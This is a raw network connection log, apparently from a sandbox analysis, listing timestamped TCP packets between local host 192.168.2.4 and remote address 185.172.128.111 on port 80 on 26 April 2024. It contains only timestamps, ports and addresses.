Apr 26, 2024 09:41:12.305701017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305738926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305747032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.305761099 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.305774927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.305794001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314132929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314202070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314213037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314259052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314277887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314295053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314320087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314335108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314346075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314382076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314398050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314414024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314440012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314454079 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.314476013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.314518929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.341907978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.341976881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.341996908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.342037916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.342277050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.342324972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.342477083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.342523098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.342701912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.342751980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.342784882 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.342823029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.342842102 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.342884064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343018055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343065023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343084097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343199968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343216896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343240023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343255043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343297958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343396902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343439102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343471050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343518972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343530893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343568087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343590975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343631029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343700886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343751907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.343936920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.343983889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344017982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344063997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344086885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344129086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344253063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344296932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344399929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344440937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344475031 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344518900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344538927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344579935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344621897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344682932 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344698906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344750881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344829082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.344877958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.344953060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.345016003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.345114946 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.345163107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.345204115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.345256090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.345288992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.345330954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.345598936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.345648050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346182108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346231937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346263885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346302986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346337080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346385956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346431971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346477032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346491098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346517086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346534014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346579075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346597910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346637011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346692085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346754074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346784115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346832991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346915960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.346962929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.346981049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347024918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347101927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347152948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347286940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347332001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347351074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347368002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347395897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347404003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347445011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347491980 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347511053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347556114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347587109 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347626925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347647905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347687960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347718954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347759008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347807884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347850084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347867012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347907066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347923994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.347963095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.347982883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348026037 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.348040104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348058939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348079920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.348098040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.348134995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348179102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.348206997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348252058 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.348381042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348429918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.348460913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348515987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.348747015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.348793030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.349057913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.349103928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.349291086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.349344015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.349376917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.349425077 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.349442959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.349484921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.349549055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.349605083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.349637032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.349679947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350153923 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350203991 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350235939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350281954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350421906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350469112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350502014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350554943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350585938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350634098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350666046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350711107 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350728035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350765944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350784063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350820065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350826979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350868940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350925922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.350976944 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.350994110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351035118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351067066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351115942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351146936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351193905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351226091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351274014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351305008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351352930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351413012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351455927 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351476908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351517916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351531029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351568937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351588964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351635933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351654053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351695061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351712942 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351748943 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351767063 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351821899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351839066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351881981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351901054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.351938963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.351958990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352006912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352026939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352066040 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352129936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352174997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352206945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352252007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352268934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352312088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352332115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352376938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352395058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352437019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352469921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352508068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352540970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352587938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352606058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352644920 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352672100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352710009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352727890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352768898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352801085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352845907 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.352876902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.352922916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353282928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353319883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353331089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353358030 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353431940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353477955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353498936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353543043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353559971 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353601933 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353629112 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353672028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353710890 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353764057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353782892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353822947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.353842020 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.353882074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358031034 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358089924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358110905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358150959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358225107 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358267069 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358282089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358324051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358355999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358402967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358422995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358460903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358469963 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358511925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.358578920 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.358624935 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.366852999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.366898060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.366914988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.366964102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.366997004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367038965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367054939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367093086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367157936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367203951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367260933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367307901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367326975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367342949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367368937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367378950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367460966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367510080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367527962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367571115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367588997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367618084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.367639065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.367652893 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.368055105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.368086100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.368119001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.368119001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.368145943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.368161917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.368186951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.368200064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.368689060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.368737936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369004965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369056940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369075060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369117022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369246006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369294882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369330883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369379997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369412899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369460106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369525909 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369575977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369647026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369690895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369724035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369775057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369791985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369823933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.369838953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.369865894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370096922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370143890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370162010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370208979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370224953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370274067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370295048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370337009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370353937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.370399952 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.370460987 CEST	80	49730	185.172.128.111	192.168.2.4
